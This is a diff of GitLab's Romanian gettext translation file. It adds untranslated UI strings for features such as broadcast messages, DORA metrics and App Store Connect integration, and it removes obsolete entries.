+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
+msgstr ""
msgid "AdminUsers|It's you!"
msgstr "Sunteți d-voastră!"
@@ -3472,6 +3508,9 @@ msgstr "Proiectele personale vor fi lăsate"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "Proiectele personale, istoricul grupurilor și al utilizatorilor vor fi lăsate intacte."
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr "Cotă de minute CI/CD"
@@ -3730,6 +3769,9 @@ msgstr "După expirare, nu mai puteți utiliza aprobările de îmbinare, epicele
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr "După expirare, nu mai puteți utiliza aprobările de îmbinare, epicele sau multe caracteristici de securitate."
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr "După ce exportul este finalizat, descărcați fișierul de date dintr-un e-mail de notificare sau de pe această pagină. Apoi puteți importa fișierul de date de pe pagina %{strong_text_start}Creați un grup nou%{strong_text_end} al unei alte instanțe GitLab."
@@ -4372,9 +4414,6 @@ msgstr "A apărut o eroare la adăugarea titlului formatat pentru epică"
msgid "An error occurred while approving, please try again."
msgstr "A survenit o eroare la aprobare, încercați din nou."
-msgid "An error occurred while authorizing your role"
-msgstr "A apărut o eroare în timp ce se autoriza rolul dumneavoastră"
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "A survenit o eroare în timpul verificării căii grupului. Vă rugăm să reîmprospătați și să încercați din nou."
@@ -4543,15 +4582,6 @@ msgstr "A apărut o eroare în timpul încărcării merge request-urilor."
msgid "An error occurred while loading projects."
msgstr "A apărut o eroare în timpul încărcării proiectelor."
-msgid "An error occurred while loading the Jobs tab."
-msgstr "A apărut o eroare la încărcarea filei Joburi."
-
-msgid "An error occurred while loading the Needs tab."
-msgstr "A apărut o eroare la încărcarea filei „Needsâ€"
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr "A apărut o eroare la încărcarea filei Rapoarte de testare."
-
msgid "An error occurred while loading the blob controls."
msgstr "A apărut o eroare în timpul încărcării controalelor pentru blob."
@@ -4585,9 +4615,6 @@ msgstr "A apărut o eroare la încărcarea merge request-ului."
msgid "An error occurred while loading the notification settings. Please try again."
msgstr "A apărut o eroare la încărcarea setărilor de notificare. Vă rugăm să încercați din nou."
-msgid "An error occurred while loading the pipeline."
-msgstr "A apărut o eroare la încărcarea pipeline-ului."
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "A apărut o eroare la încărcarea joburilor de pipeline-uri."
@@ -4840,6 +4867,18 @@ msgstr "Anexați comentariul cu %{shrug}"
msgid "Append the comment with %{tableflip}"
msgstr "Anexați comentariul cu %{tableflip}"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Aplicație"
@@ -4984,9 +5023,6 @@ msgstr "Consultați %{linkStart}instrucțiunile privind politica parolelor%{link
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr "Trimiteți un e-mail de confirmare în timpul înscrierii. Noii utilizatori trebuie să-și confirme adresa de e-mail înainte de a se conecta."
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr "Trimiteți un e-mail de confirmare la înscriere"
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr "Înregistrare activată"
@@ -5077,6 +5113,9 @@ msgstr "Aplicarea sugestiei..."
msgid "Applying suggestions..."
msgstr "Aplicarea sugestiilor..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "Reguli de aprobare"
@@ -5221,6 +5260,9 @@ msgstr "Atunci când se adaugă un commit:"
msgid "Approvals are optional."
msgstr "Aprobările sunt opționale."
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr "Secțiunea: %section"
@@ -5776,6 +5818,9 @@ msgstr "Anulați editarea"
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr "Anteturi HTTP personalizate (opțional)"
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr "Ștergeți %{link}"
@@ -5791,12 +5836,18 @@ msgstr "Destinațiile primesc toate datele evenimentelor de audit"
msgid "AuditStreams|Edit %{link}"
msgstr "Editați %{link}"
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr "Antet"
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr "A fost atins numărul maxim de %{number} (de) anteturi HTTP."
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr "Înlăturați antetul personalizat"
@@ -7372,9 +7423,93 @@ msgstr "Mesajul de difuzare a fost actualizat cu succes."
msgid "Broadcast Messages"
msgstr "Mesaje de difuzare"
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr "A apărut o problemă la ștergerea acestui mesaj, vă rugăm să încercați din nou mai târziu."
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Răsfoiți directorul"
@@ -7972,6 +8107,9 @@ msgstr "Nu se poate promova problema pentru că nu aparține unui grup."
msgid "Cannot promote issue due to insufficient permissions."
msgstr "Nu se poate promova problema din cauza permisiunilor insuficiente."
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr "Nu se poate face referință la un obiectiv de grup printr-un ID intern!"
@@ -8083,14 +8221,11 @@ msgstr "Schimbați-vă parola"
msgid "Change your password or recover your current one"
msgstr "Schimbați-vă parola sau recuperați-vă parola curentă"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr "Recenzentul a fost schimbat de la %{old} la %{new}."
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr "Recenzentul a fost schimbat cu %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
+msgstr ""
-msgid "ChangeReviewer|Unassigned"
-msgstr "Neatribuit"
+msgid "ChangeReviewer|All reviewers were removed."
+msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-pick"
@@ -8374,6 +8509,9 @@ msgstr "Continuați cu plata"
msgid "Checkout|Country"
msgstr "Èšara"
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr "Creați un grup nou"
@@ -8533,12 +8671,6 @@ msgstr "Copil"
msgid "Child epic"
msgstr "Epica copil"
-msgid "Child epic does not exist."
-msgstr "Epica copil nu există."
-
-msgid "Child epic doesn't exist."
-msgstr "Epica copil nu există."
-
msgid "Child issues and epics"
msgstr "Probleme și epice copii"
@@ -8722,6 +8854,9 @@ msgstr "Stare"
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "Tipul"
@@ -8848,6 +8983,9 @@ msgstr "Faceți clic pe linkul următor pentru a vă confirma adresa de e-mail (
msgid "Click the link below to confirm your email address."
msgstr "Faceți clic pe linkul următor pentru a vă confirma adresa de e-mail."
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr "Faceți clic pentru a-l extinde."
@@ -8950,12 +9088,18 @@ msgstr "Probleme închise"
msgid "Closed this %{quick_action_target}."
msgstr "A închis această %{quick_action_target}."
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr "ÃŽnchis: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Închideți această %{quick_action_target}."
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr "Cloud Run"
@@ -9622,21 +9766,6 @@ msgstr "Este necesar un domeniu pentru mediu."
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "Fiecare cont nou Google Cloud Platform (GCP) primește un credit de 300 de dolari la %{sign_up_link}. În parteneriat cu Google, GitLab poate să ofere un credit de 200 de dolari suplimentari atât pentru noile conturi GCP, cât și pentru cele existente, pentru a demara integrarea GitLab cu Google Kubernetes Engine."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr "Nu s-a reușit configurarea furnizorului EKS: %{message}"
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "Nu s-a reușit configurarea Clusterului Google Kubernetes Engine: %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr "Nu s-a reușit obținerea stivei CloudFormation: %{message}"
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr "Nu s-a reușit solicitarea către Google Cloud Platform: %{message}"
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "Nu s-a reușit executarea Kubeclient: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Integrarea GitLab"
@@ -10126,6 +10255,9 @@ msgstr "Nu s-au găsit merge request-uri asociate"
msgid "Committed by"
msgstr "Commit făcut de"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "Forumul comunității"
@@ -11020,6 +11152,9 @@ msgstr "Continuați editarea"
msgid "Continue to the next step"
msgstr "Treceți la etapa următoare"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr "Integrare și implementare continuă"
@@ -11413,6 +11548,9 @@ msgstr ""
msgid "Country"
msgstr "Å¢ara"
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr "Numerele reflectă copiii la care este posibil să nu aveți acces."
@@ -12310,6 +12448,9 @@ msgstr "nepermis pentru evenimentul de start dat"
msgid "CycleAnalytics|project dropdown filter"
msgstr "filtru derulant de proiect"
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr "Vizualizarea DAG necesită cel puțin 3 joburi dependente."
@@ -12334,6 +12475,9 @@ msgstr "%{startDate} - %{endDate}"
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr "Media (ultimele %{days}d)"
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12346,8 +12490,11 @@ msgstr "Rata de eșec a modificării (procentaj)"
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
-msgstr "Metrici DORA pentru grupul %{groupName}"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
+msgstr ""
msgid "DORA4Metrics|Date"
msgstr "Data"
@@ -12367,6 +12514,12 @@ msgstr "Frecvența de implementare"
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12388,6 +12541,12 @@ msgstr "Timpul mediu (ultimele %{days}d)"
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr "Timpul mediu în care un incident a fost deschis într-un mediu de producție în perioada de timp dată."
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12406,6 +12565,15 @@ msgstr "Numărul de desfășurări"
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr "Numărul de incidente împărțit la numărul de implementări într-un mediu de producție în perioada de timp dată."
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr "Procentul de implementări eșuate"
@@ -12427,6 +12595,12 @@ msgstr "Graficul afișează frecvența implementărilor în mediul/mediile de pr
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr "Graficul afișează timpul mediu dintre îmbinarea și implementarea unui merge request în mediul/mediile de producție care se bazează pe valoarea %{linkStart}deployment_tier%{linkEnd}."
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12436,6 +12610,9 @@ msgstr "Timpul pentru restabilirea serviciului"
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr "Timpul de restabilire a serviciului ( zile medii)"
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr "DSN"
@@ -12451,9 +12628,6 @@ msgstr "Toate"
msgid "DashboardProjects|Personal"
msgstr "Personal"
-msgid "DashboardProjects|Trending"
-msgstr "Tendințe"
-
msgid "Dashboards"
msgstr "Tablouri de bord"
@@ -13372,11 +13546,11 @@ msgstr "Protecția împotriva ștergerii"
msgid "DeletionSettings|Keep deleted"
msgstr "Păstrați ștergerile de"
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr "Păstrați proiectele șterse timp de %{number} (de) zile"
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr "Păstrați proiectele șterse timp de 1 zi"
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "DeletionSettings|None, delete immediately"
msgstr "Niciunul, ștergeți imediat"
@@ -13444,6 +13618,9 @@ msgstr "Numele componentei"
msgid "Dependencies|Dependency path"
msgstr "Calea dependenței"
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "Exportați ca JSON"
@@ -13828,9 +14005,15 @@ msgstr "Ținta de implementare a proiectului (opțional)"
msgid "Deployment Target|Select the deployment target"
msgstr "Selectați ținta de implementare"
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr "Frecvența de implementare"
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13846,6 +14029,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr " Aprobări actuale: %{current}"
@@ -13930,6 +14119,12 @@ msgstr[0] "%{deployments} mediu afectat."
msgstr[1] "%{deployments} medii afectate."
msgstr[2] "%{deployments} de medii afectate."
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr "API"
@@ -14200,7 +14395,7 @@ msgstr "Rapoarte DevOps"
msgid "DevOps adoption"
msgstr "Adoptarea DevOps"
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14425,6 +14620,9 @@ msgstr "Notele diff-ului"
msgid "Difference between start date and now"
msgstr "Diferența dintre data de început și acum"
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr "(HEAD)"
@@ -14920,6 +15118,9 @@ msgstr "Testarea dinamică a securității aplicațiilor (DAST)"
msgid "E-mail:"
msgstr "E-mail:"
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr "Fiecare proiect poate avea, de asemenea, un tracker de probleme și un wiki."
@@ -16117,11 +16318,8 @@ msgstr "Eroare: %{error}"
msgid "Error: Couldn't load some or all of the changes."
msgstr "Eroare: Nu s-au putut încărca unele sau toate modificările."
-msgid "Error: No AWS credentials were supplied"
-msgstr "Eroare: nu au fost furnizate acreditări AWS"
-
-msgid "Error: No AWS provision role found for user"
-msgstr "Eroare: nu a fost găsit niciun rol de furnizare AWS pentru utilizator"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
+msgstr ""
msgid "Error: Unable to create deploy freeze"
msgstr "Eroare: Imposibil de creat înghețarea implementării"
@@ -16129,9 +16327,6 @@ msgstr "Eroare: Imposibil de creat înghețarea implementării"
msgid "Error: Unable to delete deploy freeze"
msgstr "Eroare: Imposibil de șters înghețarea implementării"
-msgid "Error: Unable to find AWS role for current user"
-msgstr "Eroare: nu se poate găsi rolul AWS pentru utilizatorul curent"
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr "Tokenul de acces este %{token_in_code_tag}"
@@ -16630,9 +16825,6 @@ msgstr "Expiră"
msgid "Expires %{preposition} %{expires_at}"
msgstr "Expiră %{preposition} %{expires_at}"
-msgid "Expires on"
-msgstr "Expiră pe"
-
msgid "Expires:"
msgstr "Expiră:"
@@ -16666,9 +16858,6 @@ msgstr "Explorați proiecte publice"
msgid "Explore snippets"
msgstr "Explorați fragmentele de cod"
-msgid "Explore topics"
-msgstr "Explorați subiectele"
-
msgid "Export"
msgstr "Exportați"
@@ -16990,9 +17179,6 @@ msgstr "Nu s-a reușit mutarea acestei probleme deoarece nu poate fi furnizată
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Nu s-a reușit mutarea acestei probleme deoarece proiectul țintă nu există."
-msgid "Failed to promote issue to incident"
-msgstr "Nu s-a reușit promovarea problemei în incident"
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Nu s-a putut promova eticheta din cauza unei erori interne. Vă rugăm să contactați administratorii."
@@ -17419,9 +17605,6 @@ msgstr "Filtrați după"
msgid "Filter by %{page_context_word} that are currently open."
msgstr "Filtrați după %{page_context_word} care sunt deschise în prezent."
-msgid "Filter by Git revision"
-msgstr "Filtrați după revizuirea Git"
-
msgid "Filter by issues that are currently closed."
msgstr "Filtrați după problemele care sunt închise în prezent."
@@ -17740,18 +17923,15 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
+msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgstr ""
+
msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
msgid "Format: %{dateFormat}"
msgstr "Format: %{dateFormat}"
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "S-au găsit erori în %{gitlab_ci_yml} d-voastră:"
-
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "S-au găsit erori în fișierul d-voastră .gitlab-ci.yml:"
-
msgid "Framework successfully deleted"
msgstr "Framework-ul a fost eliminat cu succes"
@@ -17848,6 +18028,9 @@ msgstr "ID-ul cheii GPG:"
msgid "GPG Keys"
msgstr "Chei GPG"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr "Cheile GPG vă permit să verificați commit-urile semnate."
@@ -18508,9 +18691,6 @@ msgstr "Să începem cu lansările"
msgid "Git"
msgstr "Git"
-msgid "Git GC period"
-msgstr "Perioada Git GC"
-
msgid "Git LFS Rate Limits"
msgstr "Limitele ratei Git LFS"
@@ -18925,6 +19105,9 @@ msgstr "Căutarea globală este dezactivată pentru acest scop"
msgid "Global Shortcuts"
msgstr "Comenzi rapide globale"
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr "Nivelul global de notificare"
@@ -18937,6 +19120,12 @@ msgstr "%{search} %{description} %{scope}"
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr "%{count} (de) rezultate implicite furnizate. Utilizați tastele săgeată sus și jos pentru a naviga în lista de rezultate ale căutării."
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr "Grupuri"
@@ -18961,6 +19150,9 @@ msgstr "Merge request-urile care mi-au fost atribuite"
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr "Merge request-uri pentru care sunt un recenzent"
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr "Proiecte"
@@ -18979,6 +19171,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr "Rezultatele s-au actualizat. %{count} (de) rezultate disponibile. Utilizați tastele săgeată sus și jos pentru a naviga în lista de rezultate ale căutării sau tasta ENTER pentru a trimite."
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr "Căutați în GitLab"
@@ -18991,9 +19186,15 @@ msgstr "Rezultatele căutării se încarcă"
msgid "GlobalSearch|Settings"
msgstr "Setări"
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr "A apărut o eroare la preluarea sugestiilor de autocompletare a căutării."
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr "Tastați și apăsați tasta Enter pentru a trimite căutarea."
@@ -19318,6 +19519,12 @@ msgstr "Grupul %{group_name} a fost programat pentru ștergere."
msgid "Group %{group_name} was successfully created."
msgstr "Grupul %{group_name} a fost creat cu succes."
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr "Tokenuri de acces de grup"
@@ -19480,8 +19687,8 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr "Activitatea recentă"
-msgid "GroupImport|Failed to import group."
-msgstr "Nu s-a reușit importarea grupului."
+msgid "GroupImport|Failed to import group: %{error}"
+msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
msgstr "Grupul „%{group_name}†este în curs de import."
@@ -19963,9 +20170,15 @@ msgstr "Grupurile sunt cel mai bun mod de a gestiona mai multe proiecte și memb
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "Dacă vă organizați proiectele în cadrul unui grup, acesta funcționează ca un dosar."
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr "Nu s-au găsit grupuri"
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "Nu există subgrupuri sau proiecte."
@@ -20020,6 +20233,9 @@ msgstr "Importați grupul"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr "Importați grupuri dintr-o altă instanță GitLab"
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr "Nu sunt disponibile opțiuni de import"
@@ -20029,6 +20245,12 @@ msgstr "Nu toate obiectele asociate sunt migrate. %{docs_link_start}Mai multe in
msgid "GroupsNew|Personal access token"
msgstr "Tokenul de acces personal"
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr "Vă rugăm să completați URL-ul sursei GitLab."
@@ -20038,6 +20260,9 @@ msgstr "Vă rugăm să completați tokenul de acces personal."
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr "Furnizați acreditările unei alte instanțe de GitLab pentru a vă importa grupurile direct."
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr "Această caracteristică este depășită și este înlocuită cu %{docs_link_start}migrarea grupurilor%{docs_link_end}."
@@ -20155,6 +20380,9 @@ msgstr "URL-ul fișierului HAR"
msgid "HAR file path or URL"
msgstr "Calea sau URL-ul fișierului HAR"
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr "Arhiva HTTP (HAR)"
@@ -20470,6 +20698,12 @@ msgstr "Există un framework sau un tip de element de lucru la care aÈ›i dori sÄ
msgid "Hierarchy|Planning hierarchy"
msgstr "Ierarhia de planificare"
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr "Participați la sondajul asupra elementele de lucru"
@@ -20884,9 +21118,6 @@ msgstr "Dacă este activată, numai ramurile protejate vor fi replicate."
msgid "If no options are selected, only administrators can register runners."
msgstr "Dacă nu este selectată nicio opțiune, numai administratorii pot înregistra executorii."
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr "Dacă nu funcționează niciuna dintre aceste opțiuni, încercați să contactați un administrator GitLab."
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr "Dacă numărul de utilizatori activi depășește limita de utilizator, veți fi taxat pentru numărul de %{users_over_license_link} la următoarea reconciliere a licenței."
@@ -20908,6 +21139,9 @@ msgstr "Dacă folosiți GitHub, veți vedea pe GitHub stările pipeline-ului pen
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr "Dacă adăugați %{codeStart}needs%{codeEnd} la joburile din pipeline-ul dvs., veți putea vizualiza relațiile %{codeStart}needs%{codeEnd} între joburi în această filă sub forma unui %{linkStart}Grafic Aciclic Direcționat (DAG)%{linkEnd}."
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr "Dacă nu ați inițiat aceste încercări de conectare, vă rugăm să contactați administratorul dvs. sau să activați autentificarea cu doi factori (2FA) în contul dvs."
@@ -21130,12 +21364,24 @@ msgstr "Setări avansate de import"
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "URL de import blocat: %{message}"
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr "Eroare la importarea repozitoriului %{project_safe_import_url} în %{project_full_path} - %{message}"
msgid "ImportProjects|Import repositories"
msgstr "Import de repozitorii"
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
